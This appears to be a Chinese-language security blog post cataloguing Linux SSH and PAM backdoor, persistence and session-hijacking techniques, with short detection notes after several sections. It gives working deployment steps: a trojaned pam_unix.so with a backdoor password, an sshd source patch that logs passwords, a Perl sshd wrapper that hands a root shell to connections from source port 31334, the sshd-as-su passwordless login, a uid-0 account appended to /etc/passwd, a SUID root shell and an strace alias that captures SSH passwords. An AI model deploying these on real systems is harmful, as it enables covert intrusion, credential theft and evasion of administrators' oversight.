Linux UserSpace Back-Door、SSH/PAM Backdoor/Rootkit、SSH Session Hijacking技术研究

1. 安全攻防观点

0x1:For the Attacker

  • Use System Builtin's to Simulate Rootkit Functionality. Stop relying on tools: "Master the environment.":尽量做到润物细无声,即把rootkit伪装成系统正常的工具、行为
  • Everything Is A Weapon:内力所到之处,皆为兵刃,对于操作系统的任何一个特性,只要找到正确的使用方法和组合模式,都极有可能形成一条入侵向量

0x2:For the Defender

  • Know Your System, Before I Use it Against You. Thinking like an attacker: "Flip the evil bit."
  • Know Your Enemy : Know Your System:客户端攻防的战场主要在操作系统层面,同时也包括了和系统衔接的WEB、远程LOGIN等模块,了解它们的特性(尤其是高性能、边缘特性)才能更好地作出针对性的防御

  • Effectivness != Complexity:攻防是一个整体性的工程化项目,任何一个维度的漏洞都能够导致被黑客入侵,因此并一定说内核攻防就比应用层攻防重要,它们是同等重要的。攻防手段的有效性并不一定需要通过复杂性来保证

Relevant Link:

https://www.blacklodgeresearch.org/files/7613/6963/4840/Poor_Mans_Root_Kit_BLR_talk_PUBLIC_2013.pdf

 

2. SSH Pam后门

PAM(插入式验证模块(Pluggable Authentication Module,PAM))简单来说,就是提供了一组身份验证、密码验证的统一抽象接口,应用程序员可以使用这些API接口来实现与安全性相关的功能,PAM可以作为Linux登录验证(包括SSH)的统一验证入口点,也同样出于一点,黑客可以利用PAM部署SSH代码级的逻辑后门

0x1: 查询本机的PAM版本

0x2: 下载对应的源代码文件

http://pkgs.fedoraproject.org/repo/pkgs/pam/Linux-PAM-0.99.6.2.tar.bz2/52844c64efa6f8b6a9ed702eec341a4c/
http://www.linux-pam.org/pre/history/
http://www.linux-pam.org/pre/library/

0x3: 对原始的PAM so文件进行备份

cd /lib64/security
ll pam_unix.so
mv pam_unix.so pam_unix.so.bak

0x4: 修改源文件,添加逻辑后门

cd /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/modules/pam_unix
vim pam_unix_auth.c

0x5: 重新编译pam模块

cd /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/
./configure
make

0x6: 使用包含逻辑后门的pam模块替换系统默认的pam模块

cp /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/modules/pam_unix/.libs/pam_unix.so /lib64/security/pam_unix.so

0x7: 测试后门

1. 使用正常root帐号、密码登录
2. 使用root帐号,后门密码(pam)进行隐藏登录

0x8: 对抗检测方法

pam_unix是系统原生的模块,可以使用RPM的校验机制进行篡改检测

1. centos rpm校验已安装包是否被修改
rpm -qV pam
....L....  c /etc/pam.d/fingerprint-auth
....L....  c /etc/pam.d/password-auth
....L....  c /etc/pam.d/smartcard-auth
....L....  c /etc/pam.d/system-auth
S.?......    /lib64/libpam.so.0.82.2
S.?......    /lib64/libpam_misc.so.0.82.0
S.5....T.    /lib64/security/pam_unix.so

结果含义
/*
如果一切均校验正常将不会产生任何输出。如果有不一致的地方,就会显示出来。输出格式
1. 8位长字符串: 8位字符的每一个 用以表示文件与RPM数据库中一种属性的比较结果("."表示检测通过)
    1) S: 文件大小 
    2) M: 模式e (包括权限和文件类型)
    3) 5: 校验和(md5)、?: 文件不可读
    4) D: 设备
    5) L: 符号链接
    6) U: 用户
    7) G: 组
    8) T: 文件修改时间
2. c: 用以指配置文件
3. 文件名
*/

2. ubuntu 
dpkg -V libpam-modules
??5?????? c /etc/security/limits.conf
??5??????   /lib/x86_64-linux-gnu/security/pam_unix.so

从二进制的角度来看,被植入了代码级逻辑后门的so文件可以被当成病毒处理,通过提取逻辑后门附近的二进制特征码,加入杀毒特征库,可以实现对此类后门的查杀,并禁止其被ssh加载

1. 提取包含逻辑后门的pam_unix.so的特征码
2. 加入杀毒特征库
3. 禁止逻辑后门pam_unix.so模块被ssh进程加载

Relevant Link:

http://w ww.csdn123.com/html/itweb/20130911/112822_112821_112829.htm
http://www.cnblogs.com/LittleHann/p/3662161.html
http://bobao.360.cn/learning/detail/454.html
http://www.awaysoft.com/taor/rpm%E6%A0%A1%E9%AA%8C%E5%B7%B2%E5%AE%89%E8%A3%85%E5%8C%85%E6%98%AF%E5%90%A6%E8%A2%AB%E4%BF%AE%E6%94%B9.html

 

3. SSHD后门

0x1:查看SSH版本

ssh -V
OpenSSH_7.2p2 Ubuntu-4ubuntu2.4, OpenSSL 1.0.2g  1 Mar 201

0x2:下载SSH源码包

下载并修改sshd源码

vi includes.h                   //修改后门密码,记录文件位置,

/*
+#define ILOG "/tmp/ilog"                      //记录登录到本机的用户名和密码
+#define OLOG "/tmp/olog"                   //记录本机登录到远程的用户名和密码
+#define SECRETPW "123456654321"    //后门的密码
*/

0x3:插入后门代码逻辑

  • 使用设置的后门密码,直接跨越验证逻辑登录
  • 记录root及其他帐号的登录记录,相当于key logger

0x4:还原sshd_config文件时间戳

touch -r sshd_config.bak ssh_config

0x5:重启服务或重新载入配置

service sshd reload

0x6:对抗检测方法

  • 二进制特征检测
    • 通过ELF格式动态定位到目标函数的位置
    • 在目标函数内部采用clamav的特征库定位方式:【特征:offset:length】
  • 使用系统rpm检测ssh的完整性
  • 检测程序中的string特征字符串,黑客部署的逻辑后门代码一般都有一段字符串特征码
  • 尝试任意密码登录ssh,检查是否被黑客部署了"无密码逻辑后门",即黑客在判断逻辑中直接加入了return语句,跳过任何密码检查逻辑

Relevant Link:

http://www.freebuf.com/tools/10474.html
https://www.jianshu.com/p/b394528051c6

0x7:利用系统服务程序配置文件

修改:/etc/inetd.conf 

daytime stream tcp nowait /bin/sh sh –I

用trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序。

 

4. $HOME/.ssh/known_hosts信息收集 

“$HOME/.ssh/”目录下保存了本机的ssh登录记录,保存在“known_hosts”中,攻击者通过该文件可以直接获得DMZ/VPC或者常见下一跳IP。

在黑客控制了一台用户机器之后,通过查看known_hosts收集信息,将有可能获取到当前主机连接的下一台跳板机、内网、DMZ机器,以此扩大攻击面

Relevant Link:

https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf

 

5. SSH Session Hijacking without Re-Authentication

 

Hijacking SSH By Setup A Tunnel Which Allows Multiple Sessions Over The Same SSH Connection Without Re-Authentication

0x1:SSH multiplexing特征

Multiplexing is the ability to send more than one signal over a single line or connection.

With multiplexing, OpenSSH can re-use an existing TCP connection for multiple concurrent SSH sessions rather than creating a new one each time.

0x2:Setting Up Multiplexing

需要明白的是,SSH劫持是发生在被黑客控制的机器上,黑客通过SSH劫持,希望能够无密码获得当前用户连接的远程ssh会话。

黑客需要修改的配置文件是受控制的用户机器上的配置文件。

1. 修改ssh配置【攻击者有root权限

vim /etc/ssh/ssh_config
/*
..
ControlPath /tmp/%r@%h:%p
ControlMaster auto
ControlPersist yes
..
*/

开启了ControlMaster模式之后,如果当前用户已经成功登录过一次目标机器(例如远程跳板机、DMZ机器),则黑客可以利用Multiplexing技术直接"无密码"登录同样的那台服务器。

简单来说,SSH的密码验证是基于TCP Connection级别的,而不是会话Session界别的,当发生Multiplexing的时候,黑客的Session可以直接绕过任何的登录验证。

2. 修改ssh配置【攻击者没有root权限】  

vim $HOME/.ssh/config
/*
..
ControlPath /tmp/%r@%h:%p
ControlMaster auto
ControlPersist yes
..
*/

3. 修改ssh配置【在.bashrc里封装ssh命令】   

vim $HOMW/.bashrc
/*
..
ssh () 
{ 
    /usr/bin/ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%r@%h:%p" -o "ControlPersist=yes" "$@";
}
..
*/

利用了Linux Bash的自定义函数的方式、SSH动态配置参数的特性实现了开启ControlMaster模式。

0x3:攻击者复用Multiplexing模式下的Socket会话进行SSH连接

This socket can be used to create further sessions, without credentials, even after the original user exits their session.

0x4:对抗检测方法 

  • 检查ssh的配置文件中,是否开启了ControlMaster模式
    • /etc/ssh/ssh_config
    • $HOME/.ssh/config
  • 检查bash自定义函数中是否有ssh()劫持
    • set | grep "ssh()" 

Relevant Link:

https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Multiplexing
http://unix.stackexchange.com/questions/22965/limits-of-ssh-multiplexing
http://www.anchor.com.au/blog/2010/02/ssh-controlmaster-the-good-the-bad-the-ugly/ 
http://www.revsys.com/writings/quicktips/ssh-faster-connections.html

 

6. Hijacking Active SSH Screen Sessions

ssh_user用户使用screen管理ssh会话时的情景

当ssh_user使用

screen ssh root@112.124.20.20

连接远程的"112.124.20.20"时,会在/var/run/screen有显示相应的文件。

ls -la /var/run/screen/

可以用screen -r root/来接管会话

注入screen的ssh会话,会有一个不好的地方,就是你敲的命令,会在当前正在连接的用户那里同时显示,容易被发现

0x1:对抗检测方法

  • 检测/var/run/screen/是否包含screen会话,这从某种程度上算是一种可疑事件

Relevant Link:

http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html
http://drops.wooyun.org/tips/5253

 

7. dynamic tunnel in existing SSH session

we can create a dynamic tunnel inside an existing master socket

lsof -i TCP:9090
ssh -O forward -D 9090 -S /tmp/root@112.124.20.20\:22 %h
lsof -i TCP:9090

通过注入命令实现端口转发,执行完这条命令后,我们就可以使用这台机器的9090端口做SOCKS5代理,访问下一跳的网段。同时不会增加新的TCP会话,而是复用了老的ssh会话,所以可以理解为是一个ssh隧道。

前面说过,如果ControlPersist为yes,则不会自动删除sockets文件,我们可以手工rm删除/tmp/root@112.124.20.20\:22,也可以优雅的使用

ssh -O exit -S /tmp/root@112.124.20.20\:22 %h

 

8. 利用ssh pam认证机制实现ssh root免密后门

0x1:实现过程

在被控制的服务器上执行如下指令,创建一个名为su的指向sshd的软链接。

ln -sf /usr/sbin/sshd /tmp/su;nohup /tmp/su -oPort=2022 &

 

然后打开一个新的登陆会话,账户root,密码任意,可以直接登录成功。

注意,被控制服务器(部署ssh后门的服务器)需要配置“允许root登录”以及“开启pam认证”。

0x2:实现原理

当进程名为su的进程启动时,由于其触发了auth登录验证(类似于在命令行执行su xxx指令)。系统会读取“/etc/pam.d/su”内的配置信息。

以ubuntu为例,

root@iZuf651jh0tfb2bx32x9lpZ:~# cat /etc/pam.d/su
#
# The PAM configuration file for the Shadow `su' service
#

# This allows root to su without passwords (normal operation)
auth       sufficient pam_rootok.so

# Uncomment this to force users to be a member of group root
# before they can use `su'. You can also add "group=foo"
# to the end of this line if you want to use a group other
# than the default "root" (but this may have side effect of
# denying "root" user, unless she's a member of "foo" or explicitly
# permitted earlier by e.g. "sufficient pam_rootok.so").
# (Replaces the `SU_WHEEL_ONLY' option from login.defs)
# auth       required   pam_wheel.so

# Uncomment this if you want wheel members to be able to
# su without a password.
# auth       sufficient pam_wheel.so trust

# Uncomment this if you want members of a specific group to not
# be allowed to use su at all.
# auth       required   pam_wheel.so deny group=nosu

# Uncomment and edit /etc/security/time.conf if you need to set
# time restrainst on su usage.
# (Replaces the `PORTTIME_CHECKS_ENAB' option from login.defs
# as well as /etc/porttime)
# account    requisite  pam_time.so

# This module parses environment configuration file(s)
# and also allows you to use an extended config
# file /etc/security/pam_env.conf.
#
# parsing /etc/environment needs "readenv=1"
session       required   pam_env.so readenv=1
# locale variables are also kept into /etc/default/locale in etch
# reading this file *in addition to /etc/environment* does not hurt
session       required   pam_env.so readenv=1 envfile=/etc/default/locale

# Defines the MAIL environment variable
# However, userdel also needs MAIL_DIR and MAIL_FILE variables
# in /etc/login.defs to make sure that removing a user
# also removes the user's mail spool file.
# See comments in /etc/login.defs
#
# "nopen" stands to avoid reporting new mail when su'ing to another user
session    optional   pam_mail.so nopen

# Sets up user limits according to /etc/security/limits.conf
# (Replaces the use of /etc/limits in old login)
session    required   pam_limits.so

# The standard Unix authentication modules, used with
# NIS (man nsswitch) as well as normal /etc/passwd and
# /etc/shadow entries.
@include common-auth
@include common-account
@include common-session
View Code

重点是这行:

auth       sufficient pam_rootok.so

sufficient 表示只要这行满足,直接返回登录成功。

Linux man 手册上关于 pam_rootok.so 的介绍

看一下pam_rootok.so的源码,

关键点在于红框部分,模块会调用getuid(),如果get的uid为0,它会检查selinux的root是否为0或是否在启用selinux下为0,是0,则返回认证成功,否则认证失败。 

在正常情况下,如果是root账户执行su指令,会直接忽略密码验证,这是系统设计这个机制的本意。

但是这里攻击者将sshd软连接为su进程,从而借助sudo的root免密验证机制,实现了免密ssh后门的目的。

Relevant Link: 

https://www.freebuf.com/articles/system/138753.html

 

9. 利用perl实现sshd后门

0x1:后门代码实现

将原本的”/usr/sbin/sshd“备份,用下列这个perl脚本代替之,

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
  • exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/):如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(Big 网络字节序中的16进制字符串为\x00\x00zf, 正好匹配上perl正则 ..zf),则执行/bin/sh,并结束当前程序运行(不会执行第二步),相当于反弹一个root shell (因为sshd 是以root权限运行的)给远程socket 
  • exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV:启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd (这一行保证了普通用户也可以正常使用ssh 服务,登录并不会有什么异常现象)

0x2:后门部署过程

# 将真正的sshd 移至/usr/bin/sshd,
mv /usr/sbin/sshd /usr/bin/sshd

# 将后门sshd (perl脚本移动至/usr/sbin/sshd),并授予执行权限
chmod +x /usr/sbin/sshd 

# 重启 ssh 服务
/etc/init.d/ssh restart 

# 在控制端执行以下操作,即发起ssh后门连接:
socat STDIO TCP4:10.1.100.3:22,sourceport=31334
这行命令的意思是说,将输入输出重定向至于socket 10.1.100.3:22(部署了sshd后门的机器ip)。这样后门perl脚本中STDIN就是socket了, 且这个socket的源端口为31334

# 这行命令等价于 
socat -TCP4:10.1.100.3:22,sourceport=31334

这样就可以无需认证 (因为还未到sshd认证阶段就反弹root shell了),实现获取控制端系统shell的目的,也即一个ssh后门。

为了增强隐秘性, 我们可以将copy 一份/bin/sh, 重命名为/bin/sshd,修改后门源码为:

#!/usr/bin/perl
exec"/bin/sshd"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

控制端再次连接后查看网络连接情况,会看到有一个叫sshd的进程,打开了一个socket句柄。

 

Relevant Link:  

https://www.freebuf.com/articles/system/140880.html

 

10. 系统后门账号添加

0x1:Windows $隐身账号

0x2:增加Linux root增加超级用户

echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd

如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号

echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

 

11. X置位后门

0x1:放置SUID Shell

普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。

cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell

 

12. Linux环境变量后门

0x1:alias 后门

当前用户目录下.bashrc

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

 

 

posted @ 2015-06-24 14:57  郑瀚Andrew  阅读(3075)  评论(1编辑  收藏  举报